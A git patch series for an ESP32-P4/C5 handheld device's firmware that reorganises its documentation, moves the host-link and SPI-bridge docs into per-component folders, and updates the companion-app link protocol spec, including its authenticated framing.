[`docs/sd_card/p4.md`](../../../../docs/sd_card/p4.md). + # SD Directory Management Component Component for managing directories on SD card storage. diff --git a/firmware_p4/components/Service/spi_bridge/README.md b/firmware_p4/components/Service/spi_bridge/README.md index b22256d64..d046b5430 100644 --- a/firmware_p4/components/Service/spi_bridge/README.md +++ b/firmware_p4/components/Service/spi_bridge/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/spi_bridge/p4.md`](../../../../docs/spi_bridge/p4.md). + # SPI Bridge - P4 Master This component manages the high-speed communication link between the **ESP32-P4 (Main OS)** and the **ESP32-C5 (Radio Co-processor)**. diff --git a/firmware_p4/components/Service/storage_api/README.md b/firmware_p4/components/Service/storage_api/README.md index 4d55cc93c..a2518c2a6 100644 --- a/firmware_p4/components/Service/storage_api/README.md +++ b/firmware_p4/components/Service/storage_api/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_api/p4.md`](../../../../docs/storage_api/p4.md). + # Storage API The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. diff --git a/firmware_p4/components/Service/storage_assets/README.md b/firmware_p4/components/Service/storage_assets/README.md index cecae0af5..9851449ca 100644 --- a/firmware_p4/components/Service/storage_assets/README.md +++ b/firmware_p4/components/Service/storage_assets/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_assets/p4.md`](../../../../docs/storage_assets/p4.md). + # Storage Assets Component This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. diff --git a/firmware_p4/components/Service/storage_vfs/README.md b/firmware_p4/components/Service/storage_vfs/README.md index 65b3c7a8a..906106141 100644 --- a/firmware_p4/components/Service/storage_vfs/README.md +++ b/firmware_p4/components/Service/storage_vfs/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_vfs/p4.md`](../../../../docs/storage_vfs/p4.md). + # Virtual File System (VFS) - Unified Storage Abstraction The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). diff --git a/firmware_p4/components/Service/wifi/README.md b/firmware_p4/components/Service/wifi/README.md index 877393def..ac6b1bae4 100644 --- a/firmware_p4/components/Service/wifi/README.md +++ b/firmware_p4/components/Service/wifi/README.md @@ -1,3 +1,5 @@ +> 📚 Canonical/aggregated copy in the project docs hub: [`docs/wifi/p4.md`](../../../../docs/wifi/p4.md). + # Wi-Fi Service Component Documentation This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. From c1420713bb26af27b37de6137aeb0dc1d8d56fc2 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 23:55:20 -0300 Subject: [PATCH 056/572] docs: organize host-link and spi-bridge docs into per-component dirs --- docs/README.md | 20 +++++++++---------- docs/{host-link.md => host_link/README.md} | 8 ++++---- docs/host_link/c5.md | 4 ++-- docs/host_link/p4.md | 4 ++-- .../protocol.md} | 7 ++++--- docs/{SPI_BRIDGE.md => spi_bridge/README.md} | 0 .../components/Service/host_link/README.md | 4 ++-- .../components/Service/host_link/README.md | 4 ++-- .../Service/host_link/include/host_link.h | 2 +- .../Service/host_link/include/host_link_sec.h | 2 +- 10 files changed, 28 insertions(+), 27 deletions(-) rename docs/{host-link.md => host_link/README.md} (92%) rename docs/{HOST_LINK_PROTOCOL.md => host_link/protocol.md} (98%) rename docs/{SPI_BRIDGE.md => spi_bridge/README.md} (100%) diff --git a/docs/README.md b/docs/README.md index 3fad1ef49..e2c468662 100644 --- a/docs/README.md +++ b/docs/README.md @@ -1,16 +1,16 @@ # Documentation hub -Aggregated, canonical copies of the project documentation. Each component's -README is mirrored here; the original README in the component points back to -its copy below. P4/C5 components that share a name are split into `p4.md` / `c5.md`. +Aggregated, canonical copies of the project documentation, one directory per +component. Each component's in-tree README points back to its copy here. +Components that exist in both firmwares are split into `p4.md` / `c5.md`; +cross-firmware features keep their overview in the directory's `README.md`. -## Host link (companion app) +## Featured -- [host-link.md](host-link.md) — unified cross-firmware overview -- [HOST_LINK_PROTOCOL.md](HOST_LINK_PROTOCOL.md) — wire protocol spec -- [SPI_BRIDGE.md](SPI_BRIDGE.md) — P4↔C5 SPI bridge +- [host_link/](host_link/README.md) — companion app link: overview + [protocol spec](host_link/protocol.md) + per-firmware refs +- [spi_bridge/](spi_bridge/README.md) — P4↔C5 SPI bridge: architecture + per-firmware refs -## Components +## All components | Component | Docs | |-----------|------| @@ -23,13 +23,13 @@ its copy below. P4/C5 components that share a name are split into `p4.md` / `c5. | `dns_server` | [README.md](dns_server/README.md) | | `esp_now` | [README.md](esp_now/README.md) | | `espnow_chat` | [README.md](espnow_chat/README.md) | -| `host_link` | [c5.md](host_link/c5.md) [p4.md](host_link/p4.md) | +| `host_link` | [c5.md](host_link/c5.md) [p4.md](host_link/p4.md) [protocol.md](host_link/protocol.md) [README.md](host_link/README.md) | | `http_server` | [README.md](http_server/README.md) | | `lvgl_port` | [README.md](lvgl_port/README.md) | | `ota` | [README.md](ota/README.md) | | `sd_card` | [c5.md](sd_card/c5.md) [p4.md](sd_card/p4.md) | | `spi` | [c5.md](spi/c5.md) [p4.md](spi/p4.md) | -| `spi_bridge` | [c5.md](spi_bridge/c5.md) [p4.md](spi_bridge/p4.md) | +| `spi_bridge` | [c5.md](spi_bridge/c5.md) [p4.md](spi_bridge/p4.md) [README.md](spi_bridge/README.md) | | `st7789` | [README.md](st7789/README.md) | | `storage_api` | [c5.md](storage_api/c5.md) [p4.md](storage_api/p4.md) | | `storage_assets` | [c5.md](storage_assets/c5.md) [p4.md](storage_assets/p4.md) | diff --git a/docs/host-link.md b/docs/host_link/README.md similarity index 92% rename from docs/host-link.md rename to docs/host_link/README.md index 959641760..3d8a8eab3 100644 --- a/docs/host-link.md +++ b/docs/host_link/README.md @@ -5,10 +5,10 @@ single cross-firmware view: how the pieces fit, who owns what, and where to look It deliberately does **not** repeat the per-file reference tables — those live in the component READMEs, and the byte-level wire format lives in the protocol spec. -- Wire spec: [`HOST_LINK_PROTOCOL.md`](./HOST_LINK_PROTOCOL.md) -- SPI bridge (P4↔C5 transport this rides on): [`SPI_BRIDGE.md`](./SPI_BRIDGE.md) -- P4 component reference: [`firmware_p4/components/Service/host_link/README.md`](../firmware_p4/components/Service/host_link/README.md) -- C5 component reference: [`firmware_c5/components/Service/host_link/README.md`](../firmware_c5/components/Service/host_link/README.md) +- Wire spec: [`protocol.md`](./protocol.md) +- SPI bridge (P4↔C5 transport this rides on): [`../spi_bridge/README.md`](../spi_bridge/README.md) +- P4 component reference: [`p4.md`](./p4.md) · in-tree: [`firmware_p4/.../host_link/README.md`](../../firmware_p4/components/Service/host_link/README.md) +- C5 component reference: [`c5.md`](./c5.md) · in-tree: [`firmware_c5/.../host_link/README.md`](../../firmware_c5/components/Service/host_link/README.md) ## The model diff --git a/docs/host_link/c5.md b/docs/host_link/c5.md index 4a1666a9f..0b7fed01f 100644 --- a/docs/host_link/c5.md +++ b/docs/host_link/c5.md @@ -7,8 +7,8 @@ crypto/auth lives on the P4** — the C5 never parses companion payloads. Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. -- Unified cross-firmware overview: [`docs/host-link.md`](../host-link.md) -- Wire format: [`docs/HOST_LINK_PROTOCOL.md`](../HOST_LINK_PROTOCOL.md) +- Unified cross-firmware overview: [`README.md`](./README.md) +- Wire format: [`protocol.md`](./protocol.md) This README is the **C5 component reference** (BLE relay + log tee). diff --git a/docs/host_link/p4.md b/docs/host_link/p4.md index ae1959f68..0a75b6af8 100644 --- a/docs/host_link/p4.md +++ b/docs/host_link/p4.md @@ -7,8 +7,8 @@ behavior is exposed over **two transports** — USB CDC-ACM (P4-native) and BLE (terminated on the C5, relayed here). Only **one** companion session is active at a time. -- Unified cross-firmware overview: [`docs/host-link.md`](../host-link.md) -- Wire format (envelope, types, ids): [`docs/HOST_LINK_PROTOCOL.md`](../HOST_LINK_PROTOCOL.md) +- Unified cross-firmware overview: [`README.md`](./README.md) +- Wire format (envelope, types, ids): [`protocol.md`](./protocol.md) This README is the **P4 component reference** — the file map and P4-side wiring. The frame envelope, BODY types and the `SPI_CMD(cat, op)` id scheme are defined in diff --git a/docs/HOST_LINK_PROTOCOL.md b/docs/host_link/protocol.md similarity index 98% rename from docs/HOST_LINK_PROTOCOL.md rename to docs/host_link/protocol.md index 50f88c01d..fc3124281 100644 --- a/docs/HOST_LINK_PROTOCOL.md +++ b/docs/host_link/protocol.md @@ -7,9 +7,10 @@ companion app only follows it. This document is the agreed contract — the identifiers (USB VID/PID, BLE UUIDs) are marked **TBD** and assigned during implementation; they don't affect the protocol shape. -Related firmware docs: -- `SPI_BRIDGE.md` — P4 ↔ C5 architecture overview -- `firmware_p4/components/Service/spi_bridge/README.md` — command reference, session lifecycle, stream transport +Related docs: +- [`README.md`](./README.md) — unified host-link overview +- [`../spi_bridge/README.md`](../spi_bridge/README.md) — P4 ↔ C5 architecture overview +- `firmware_*/components/Service/spi_bridge/README.md` — command reference, session lifecycle, stream transport - `firmware_*/components/Service/spi_bridge/spi_protocol.h` — shared command table (`spi_id_t`) --- diff --git a/docs/SPI_BRIDGE.md b/docs/spi_bridge/README.md similarity index 100% rename from docs/SPI_BRIDGE.md rename to docs/spi_bridge/README.md diff --git a/firmware_c5/components/Service/host_link/README.md b/firmware_c5/components/Service/host_link/README.md index 188743588..a441ab0bc 100644 --- a/firmware_c5/components/Service/host_link/README.md +++ b/firmware_c5/components/Service/host_link/README.md @@ -9,8 +9,8 @@ crypto/auth lives on the P4** — the C5 never parses companion payloads. Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. -- Unified cross-firmware overview: [`docs/host-link.md`](../../../../docs/host-link.md) -- Wire format: [`docs/HOST_LINK_PROTOCOL.md`](../../../../docs/HOST_LINK_PROTOCOL.md) +- Unified cross-firmware overview: [`docs/host_link/README.md`](../../../../docs/host_link/README.md) +- Wire format: [`docs/host_link/protocol.md`](../../../../docs/host_link/protocol.md) This README is the **C5 component reference** (BLE relay + log tee). diff --git a/firmware_p4/components/Service/host_link/README.md b/firmware_p4/components/Service/host_link/README.md index bcf4bba3c..00096af7f 100644 --- a/firmware_p4/components/Service/host_link/README.md +++ b/firmware_p4/components/Service/host_link/README.md @@ -9,8 +9,8 @@ behavior is exposed over **two transports** — USB CDC-ACM (P4-native) and BLE (terminated on the C5, relayed here). Only **one** companion session is active at a time. -- Unified cross-firmware overview: [`docs/host-link.md`](../../../../docs/host-link.md) -- Wire format (envelope, types, ids): [`docs/HOST_LINK_PROTOCOL.md`](../../../../docs/HOST_LINK_PROTOCOL.md) +- Unified cross-firmware overview: [`docs/host_link/README.md`](../../../../docs/host_link/README.md) +- Wire format (envelope, types, ids): [`docs/host_link/protocol.md`](../../../../docs/host_link/protocol.md) This README is the **P4 component reference** — the file map and P4-side wiring. The frame envelope, BODY types and the `SPI_CMD(cat, op)` id scheme are defined in diff --git a/firmware_p4/components/Service/host_link/include/host_link.h b/firmware_p4/components/Service/host_link/include/host_link.h index ad0d58335..330c51782 100644 --- a/firmware_p4/components/Service/host_link/include/host_link.h +++ b/firmware_p4/components/Service/host_link/include/host_link.h @@ -26,7 +26,7 @@ extern "C" { #include "esp_err.h" -// Host-link frame envelope (see HOST_LINK_PROTOCOL.md): +// Host-link frame envelope (see docs/host_link/protocol.md): // [MAGIC 'H''B'][VER u8][FLAGS u8][COUNTER u32][LEN u16][BODY LEN][MAC 16 if FLAGS.auth] // BODY = [type u8][category u8][op u8][payload...] // Phase 1: no crypto — FLAGS.auth is 0 and no MAC is present/verified. diff --git a/firmware_p4/components/Service/host_link/include/host_link_sec.h b/firmware_p4/components/Service/host_link/include/host_link_sec.h index f8aaca5f8..026e83b32 100644 --- a/firmware_p4/components/Service/host_link/include/host_link_sec.h +++ b/firmware_p4/components/Service/host_link/include/host_link_sec.h @@ -27,7 +27,7 @@ extern "C" { #include "esp_err.h" // Host-link security core (host-link internal). Implements the HMAC-SHA256/HKDF -// envelope from HOST_LINK_PROTOCOL.md §6 over mbedTLS: +// envelope from docs/host_link/protocol.md §6 over mbedTLS: // - PSK persisted in NVS (auto-generated on first boot). // - HELLO/HELLO_ACK handshake → per-direction session keys + counter reset. // - Per-frame MAC verify (inbound, K_a2d) / sign (outbound, K_d2a). From 97628f7b25096db38f3489d61fbaed584c608057 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sun, 7 Jun 2026 00:01:57 -0300 Subject: [PATCH 057/572] docs: reduce in-firmware READMEs to pointers; drop em-dashes in docs --- docs/README.md | 4 +- docs/SubGhz/README.md | 2 +- docs/cc1101/README.md | 2 +- docs/host_link/README.md | 18 +- docs/host_link/c5.md | 4 +- docs/host_link/p4.md | 8 +- docs/host_link/protocol.md | 46 +- docs/ota/README.md | 8 +- docs/spi_bridge/README.md | 46 +- docs/spi_bridge/c5.md | 6 +- docs/spi_bridge/p4.md | 64 +- .../Applications/espnow_chat/README.md | 99 +- .../components/Drivers/buttons_gpio/README.md | 65 +- firmware_c5/components/Drivers/spi/README.md | 54 +- .../components/Service/bluetooth/README.md | 146 +-- .../components/Service/dns_server/README.md | 54 +- .../components/Service/esp_now/README.md | 103 +- .../components/Service/host_link/README.md | 54 +- .../components/Service/http_server/README.md | 117 +-- .../components/Service/sd_card/README.md | 963 +----------------- .../components/Service/spi_bridge/README.md | 72 +- .../components/Service/storage_api/README.md | 450 +------- .../Service/storage_assets/README.md | 622 +---------- .../components/Service/storage_vfs/README.md | 548 +--------- firmware_c5/components/Service/wifi/README.md | 185 +--- .../components/Applications/SubGhz/README.md | 280 +---- .../components/Applications/bad_usb/README.md | 135 +-- .../components/Applications/ui/README.md | 191 +--- .../components/Drivers/buttons_gpio/README.md | 65 +- .../components/Drivers/cc1101/README.md | 188 +--- firmware_p4/components/Drivers/spi/README.md | 55 +- .../components/Drivers/st7789/README.md | 44 +- .../components/Drivers/tusb_desc/README.md | 75 +- .../components/Service/c5_flasher/README.md | 22 +- .../components/Service/console/README.md | 104 +- .../components/Service/host_link/README.md | 80 +- .../components/Service/lvgl_port/README.md | 84 +- firmware_p4/components/Service/ota/README.md | 87 +- .../components/Service/sd_card/README.md | 950 +---------------- .../components/Service/spi_bridge/README.md | 501 +-------- .../components/Service/storage_api/README.md | 484 +-------- .../Service/storage_assets/README.md | 622 +---------- .../components/Service/storage_vfs/README.md | 548 +--------- firmware_p4/components/Service/wifi/README.md | 185 +--- 44 files changed, 203 insertions(+), 8237 deletions(-) diff --git a/docs/README.md b/docs/README.md index e2c468662..3bbd9c8b5 100644 --- a/docs/README.md +++ b/docs/README.md @@ -7,8 +7,8 @@ cross-firmware features keep their overview in the directory's `README.md`. ## Featured -- [host_link/](host_link/README.md) — companion app link: overview + [protocol spec](host_link/protocol.md) + per-firmware refs -- [spi_bridge/](spi_bridge/README.md) — P4↔C5 SPI bridge: architecture + per-firmware refs +- [host_link/](host_link/README.md) - companion app link: overview + [protocol spec](host_link/protocol.md) + per-firmware refs +- [spi_bridge/](spi_bridge/README.md) - P4↔C5 SPI bridge: architecture + per-firmware refs ## All components diff --git a/docs/SubGhz/README.md b/docs/SubGhz/README.md index 5d486c40a..e8b2c7376 100644 --- a/docs/SubGhz/README.md +++ b/docs/SubGhz/README.md @@ -200,7 +200,7 @@ esp_err_t subghz_storage_save_raw(const char *name, const int32_t *pulses, size_ ## Protocol Plugins (`protocols/`) -The protocol system follows a **plugin architecture**. Each protocol is a self-contained module (e.g., `protocol_princeton.c`) that implements a common interface and is registered in a central registry. This design allows adding support for new protocols without modifying existing code — just create a new `protocol_*.c` file, implement the `subghz_protocol_t` interface, and register it in `subghz_protocol_registry.c`. +The protocol system follows a **plugin architecture**. Each protocol is a self-contained module (e.g., `protocol_princeton.c`) that implements a common interface and is registered in a central registry. This design allows adding support for new protocols without modifying existing code - just create a new `protocol_*.c` file, implement the `subghz_protocol_t` interface, and register it in `subghz_protocol_registry.c`. ### Plugin Interface diff --git a/docs/cc1101/README.md b/docs/cc1101/README.md index 4f813b9cc..f1f3d9239 100644 --- a/docs/cc1101/README.md +++ b/docs/cc1101/README.md @@ -23,7 +23,7 @@ This component provides a full driver for the Texas Instruments CC1101 low-power | Preset | Mode | RX Bandwidth | |----------------------------|---------|--------------| -| `CC1101_PRESET_IDLE` | Idle | — | +| `CC1101_PRESET_IDLE` | Idle | - | | `CC1101_PRESET_OOK_270KHZ`| ASK/OOK | 270 kHz | | `CC1101_PRESET_OOK_650KHZ`| ASK/OOK | 650 kHz | | `CC1101_PRESET_OOK_800KHZ`| ASK/OOK | 812 kHz | diff --git a/docs/host_link/README.md b/docs/host_link/README.md index 3d8a8eab3..c8150ee6d 100644 --- a/docs/host_link/README.md +++ b/docs/host_link/README.md @@ -1,8 +1,8 @@ -# Host Link — unified overview +# Host Link - unified overview End-to-end companion-app link, spanning **both firmwares**. This document is the single cross-firmware view: how the pieces fit, who owns what, and where to look. -It deliberately does **not** repeat the per-file reference tables — those live in +It deliberately does **not** repeat the per-file reference tables - those live in the component READMEs, and the byte-level wire format lives in the protocol spec. - Wire spec: [`protocol.md`](./protocol.md) @@ -25,11 +25,11 @@ the component READMEs, and the byte-level wire format lives in the protocol spec - **The P4 is the single brain.** It terminates the security envelope, dispatches every command (locally or relayed to the C5 over SPI), and owns SD/flash and - device state. Identical behavior on both transports — one place for crypto. + device state. Identical behavior on both transports - one place for crypto. - **USB** terminates on the P4 (CDC-ACM in the TinyUSB composite, alongside the BadUSB HID). - **BLE** terminates on the **C5** (it owns the radio). The C5 is a transparent - byte relay — it never parses companion payloads; all auth is on the P4. + byte relay - it never parses companion payloads; all auth is on the P4. - **One companion session at a time.** The first transport to attach owns the session; a second attach is rejected until it releases. @@ -40,7 +40,7 @@ the component READMEs, and the byte-level wire format lives in the protocol spec BODY = [type][category][op][payload] ``` -`category`/`op` reuse the `spi_protocol.h` ids (`SPI_CMD(cat, op)`) — one HAL +`category`/`op` reuse the `spi_protocol.h` ids (`SPI_CMD(cat, op)`) - one HAL shared by app, P4 and C5. Types: `CMD`, `RESP`, `STREAM`, `LOG`, `HELLO`, `HELLO_ACK`. Full field semantics: see the wire spec. @@ -53,16 +53,16 @@ shared by app, P4 and C5. Types: `CMD`, `RESP`, `STREAM`, `LOG`, `HELLO`, reset. Per-frame HMAC-SHA256 (truncated 16 B, mbedTLS) verified before any body parse; monotonic counter rejects replays. Only `HELLO` is accepted unauthenticated. - BLE bonding is "just works" (LE Secure Connections, no MITM) on top of the PSK - envelope — the PSK is the real trust boundary. + envelope - the PSK is the real trust boundary. ## Module map -**P4 (`firmware_p4/components/Service/host_link/`)** — core + both transports + +**P4 (`firmware_p4/components/Service/host_link/`)** - core + both transports + all local handlers: framing/dispatch/session arbitration, USB CDC, BLE relay, security, the P4 log tee, the C5 log relay, file ops, device state/settings/ console-exec, and the streaming/heartbeat proxy. -**C5 (`firmware_c5/components/Service/host_link/`)** — BLE GATT server (NimBLE +**C5 (`firmware_c5/components/Service/host_link/`)** - BLE GATT server (NimBLE NUS-style), the chunking transport to/from the P4, and the C5 log tee. New SPI ids backing all this live in `spi_protocol.h` under `SPI_CAT_HOST = 0x06` @@ -73,7 +73,7 @@ New SPI ids backing all this live in `spi_protocol.h` under `SPI_CAT_HOST = 0x06 After auth, each `CMD` is routed by id: file ops → local; device-state/settings/ console-exec → local; `SPI_CAT_SESSION` (heartbeat/stop) → stream proxy (local, -**not** relayed — the P4 keeps heartbeating the C5 itself); session-start ops +**not** relayed - the P4 keeps heartbeating the C5 itself); session-start ops (sniffer) → `spi_session`; everything else → relayed to the C5. ## Logs & two consoles diff --git a/docs/host_link/c5.md b/docs/host_link/c5.md index 0b7fed01f..653b6c7a9 100644 --- a/docs/host_link/c5.md +++ b/docs/host_link/c5.md @@ -1,9 +1,9 @@ -# Host Link — C5 (BLE relay + log tee) +# Host Link - C5 (BLE relay + log tee) The companion app's **BLE transport terminates on the ESP32-C5** (it owns the BLE radio). The C5 is a **transparent byte relay**: it ferries opaque host-link frames to/from the P4 over the SPI bridge and forwards its own logs up. **All -crypto/auth lives on the P4** — the C5 never parses companion payloads. +crypto/auth lives on the P4** - the C5 never parses companion payloads. Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. diff --git a/docs/host_link/p4.md b/docs/host_link/p4.md index 0a75b6af8..9e3a64655 100644 --- a/docs/host_link/p4.md +++ b/docs/host_link/p4.md @@ -1,16 +1,16 @@ -# Host Link — P4 (companion app link) +# Host Link - P4 (companion app link) Terminates the companion-app protocol on the **ESP32-P4**. The P4 is the single brain: it owns the security envelope, dispatches commands (locally or relayed to the C5 over the SPI bridge), and owns SD/flash storage and device state. The same -behavior is exposed over **two transports** — USB CDC-ACM (P4-native) and BLE +behavior is exposed over **two transports** - USB CDC-ACM (P4-native) and BLE (terminated on the C5, relayed here). Only **one** companion session is active at a time. - Unified cross-firmware overview: [`README.md`](./README.md) - Wire format (envelope, types, ids): [`protocol.md`](./protocol.md) -This README is the **P4 component reference** — the file map and P4-side wiring. +This README is the **P4 component reference** - the file map and P4-side wiring. The frame envelope, BODY types and the `SPI_CMD(cat, op)` id scheme are defined in the wire spec; the end-to-end (app↔P4↔C5) picture is in the unified overview. @@ -71,7 +71,7 @@ host_link_ble_init(); // BLE relay infra (advertising on demand: `hostlink b ## Status -All phases implemented and build-validated. **Not yet hardware-tested** — the +All phases implemented and build-validated. **Not yet hardware-tested** - the dev board's native USB pads are unsoldered and BLE is unexercised. Known runtime caveats: NimBLE is single-owner (host-link BLE / MeshCore / Meshtastic are mutually exclusive); the UI sniffer and the companion sniffer share one diff --git a/docs/host_link/protocol.md b/docs/host_link/protocol.md index fc3124281..63083e9e6 100644 --- a/docs/host_link/protocol.md +++ b/docs/host_link/protocol.md @@ -1,17 +1,17 @@ -# Host Link Protocol — Companion App ↔ TentacleOS +# Host Link Protocol - Companion App ↔ TentacleOS **Status: CONFIRMED v1 (firmware-owned).** The **firmware is the source of truth** for the wire protocol; the desktop/web -companion app only follows it. This document is the agreed contract — the +companion app only follows it. This document is the agreed contract - the `[FW]` decisions from the original proposal are resolved below. A few hardware identifiers (USB VID/PID, BLE UUIDs) are marked **TBD** and assigned during implementation; they don't affect the protocol shape. Related docs: -- [`README.md`](./README.md) — unified host-link overview -- [`../spi_bridge/README.md`](../spi_bridge/README.md) — P4 ↔ C5 architecture overview -- `firmware_*/components/Service/spi_bridge/README.md` — command reference, session lifecycle, stream transport -- `firmware_*/components/Service/spi_bridge/spi_protocol.h` — shared command table (`spi_id_t`) +- [`README.md`](./README.md) - unified host-link overview +- [`../spi_bridge/README.md`](../spi_bridge/README.md) - P4 ↔ C5 architecture overview +- `firmware_*/components/Service/spi_bridge/README.md` - command reference, session lifecycle, stream transport +- `firmware_*/components/Service/spi_bridge/spi_protocol.h` - shared command table (`spi_id_t`) --- @@ -19,14 +19,14 @@ Related docs: Let the companion app drive the device over **USB and BLE** using the **same command set the firmware speaks internally** (`spi_id_t` = `Category`+`Op`). We -do not invent a parallel command protocol — the app reuses the existing +do not invent a parallel command protocol - the app reuses the existing commands, stream format, and session lifecycle. The host link only adds what an external, untrusted connection needs that the internal SPI trace does not: framing, authentication, push delivery, file transfer, and log/console access. --- -## 2. Architecture — Model A (P4 is the single hub) — CONFIRMED +## 2. Architecture - Model A (P4 is the single hub) - CONFIRMED ``` USB ┌─────────────┐ SPI (existing bridge) ┌─────────────┐ @@ -53,21 +53,21 @@ pattern** (BLE-on-C5 → SPI → P4 already ships today). Two SPI ops carry opaq host bytes: `SPI_ID_HOST_RX` (C5→P4, inbound from app; C5 buffers, raises IRQ, P4 pulls via the stream path) and `SPI_ID_HOST_TX` (P4→C5, outbound to app; C5 notifies over BLE). Host frames larger than one SPI frame are chunked by the -firmware. The C5 never parses companion payloads — it only moves bytes; **all +firmware. The C5 never parses companion payloads - it only moves bytes; **all crypto/auth is on the P4.** The app never sees this internal hop. --- ## 3. Transports -### 3.1 USB — CDC-ACM (dedicated) +### 3.1 USB - CDC-ACM (dedicated) - A dedicated **CDC-ACM** interface in the P4's TinyUSB composite (alongside the existing BadUSB HID). The raw developer console (`idf.py monitor`) stays on the **USB-Serial-JTAG**, so dev logs and the companion link don't collide. - Bidirectional, framed: app→device = `CMD`; device→app = `RESP`/`STREAM`/`LOG`. - **TBD:** VID/PID for auto-detect. -### 3.2 BLE — GATT companion service (on the C5) +### 3.2 BLE - GATT companion service (on the C5) - A GATT service with a **write** characteristic (app→device) and a **notify** characteristic (device→app). Frames larger than the MTU span multiple notifications and are reassembled by `LEN`. @@ -96,7 +96,7 @@ either transport. (5 s) → `SPI_ID_SESSION_LOST`, backpressure window (64), `SPI_ID_SESSION_STOP`. - **Version check:** `SPI_ID_SYSTEM_VERSION`. -**NOT reused:** SPI physical artifacts — fixed 264 B / 2048 B frames, 4-byte DMA +**NOT reused:** SPI physical artifacts - fixed 264 B / 2048 B frames, 4-byte DMA alignment, master-poll. The host link uses variable length-prefixed frames and **push** delivery. @@ -108,10 +108,10 @@ Every byte on the USB/BLE link is one host frame. **Little-endian.** | Offset | Size | Field | Notes | |-------:|-----:|-------|-------| -| 0 | 2 | `MAGIC` | `0x48 0x42` ("HB") — frame sync / resync anchor | +| 0 | 2 | `MAGIC` | `0x48 0x42` ("HB") - frame sync / resync anchor | | 2 | 1 | `VER` | host-link protocol version (separate from firmware version) | | 3 | 1 | `FLAGS` | bit0 = authenticated; rest reserved | -| 4 | 4 | `COUNTER` | u32, per-direction monotonic — replay protection | +| 4 | 4 | `COUNTER` | u32, per-direction monotonic - replay protection | | 8 | 2 | `LEN` | u16, length of `BODY` | | 10 | `LEN` | `BODY` | see below | | 10+LEN | 16 | `MAC` | HMAC-SHA256(`K_dir`, bytes `[2 .. 10+LEN)`) truncated to 128 bits | @@ -147,7 +147,7 @@ Dedicated pre-auth frames (unauthenticated): 1. App → device: `HELLO { host_ver, client_nonce[16] }`. 2. Device → app: `HELLO_ACK { host_ver, server_nonce[16], device_id, mac_psk }` where `mac_psk = HMAC(PSK, client_nonce || server_nonce)` (proves the device - holds the PSK — mutual auth). + holds the PSK - mutual auth). 3. Both derive per-direction session keys and reset counters: - `K_a2d = HKDF(PSK, client_nonce || server_nonce, "a2d")` - `K_d2a = HKDF(PSK, client_nonce || server_nonce, "d2a")` @@ -156,11 +156,11 @@ Dedicated pre-auth frames (unauthenticated): Per-direction keys prevent reflection; fresh nonces prevent cross-session replay. -### 6.2 PSK provisioning — QR/code on the P4 display +### 6.2 PSK provisioning - QR/code on the P4 display First-time pairing: the user authorizes a new app; the **P4 shows a QR/code on its display**, the app reads it (or the user types it), and both derive the PSK. Works identically for USB and BLE. App-side, the PSK is stored in the OS keystore -(Keychain / Credential Manager / libsecret) — never plaintext, never logged. +(Keychain / Credential Manager / libsecret) - never plaintext, never logged. ### 6.3 Alignment OWASP 2021: A02 (HMAC-SHA256/HKDF, BLE LE Secure Connections), A07 (session keys, @@ -244,11 +244,11 @@ app → CMD SPI_ID_SESSION_STOP { session_id } The app has a file viewer/editor, so it can **download and write** files over both transports. The P4 exposes **two separate filesystems, both physically on -the P4** — the app browses/edits each independently: +the P4** - the app browses/edits each independently: -- **Internal flash** — the `assets` / `littlefs` partitions (config, defaults, +- **Internal flash** - the `assets` / `littlefs` partitions (config, defaults, captures saved to flash, …). -- **micro-SD** — via SDMMC (`/sdcard`), the larger removable storage. +- **micro-SD** - via SDMMC (`/sdcard`), the larger removable storage. The **path root selects the filesystem** (e.g. `/assets/…`, `/littlefs/…`, `/sdcard/…`); ops are sandboxed to the mounted roots (no escaping them). Large @@ -306,7 +306,7 @@ reuse the existing version contract. --- -## 14. Open hardware identifiers (TBD — don't block the protocol) +## 14. Open hardware identifiers (TBD - don't block the protocol) - USB VID/PID. - BLE service/characteristic UUIDs, advertised name, target MTU, bonding policy. - Final `SPI_ID_*` op numbers for the new commands (`HOST_RX/TX`, `SYSTEM_LOG`, @@ -327,10 +327,10 @@ Status legend: ✅ implemented (build-validated). 1. ✅ **P4 host-link core + CDC-ACM (no crypto).** Frame envelope encode/decode + dispatch reusing the existing SPI dispatcher, over USB CDC. (`host_link.c`, `host_link_cdc.c`.) *Test:* a serial tool sends - `PING`/`VERSION`, gets `RESP`. — note: now requires a handshake first (phase 3). + `PING`/`VERSION`, gets `RESP`. - note: now requires a handshake first (phase 3). 2. ✅ **Log tee on P4 + `LOG` frames** (`source=P4`). vprintf hook → ANSI strip → drop-oldest ring → worker. (`host_link_log.c`.) *Test:* app sees P4 logs. -3. ✅ **Security envelope** — HMAC-SHA256/HKDF (mbedTLS), per-direction keys, +3. ✅ **Security envelope** - HMAC-SHA256/HKDF (mbedTLS), per-direction keys, monotonic counter, `HELLO`/`HELLO_ACK` handshake, PSK in NVS, QR/hex on the P4 display. (`host_link_sec.c`; UI `companion_pairing`; `cmd_hostlink`.) *Test:* unauthenticated frames rejected; paired app works; replay rejected. diff --git a/docs/ota/README.md b/docs/ota/README.md index 6528f03cd..5c7090ad2 100644 --- a/docs/ota/README.md +++ b/docs/ota/README.md @@ -22,10 +22,10 @@ The C5 firmware is embedded inside the P4 binary at build time. A single `.bin` The system uses two app partitions (`ota_0` / `ota_1`). After OTA, the new firmware must call `esp_ota_mark_app_valid_cancel_rollback()` to confirm. If it doesn't (crash, C5 flash failure, etc.), the bootloader reverts to the previous partition on the next reboot. 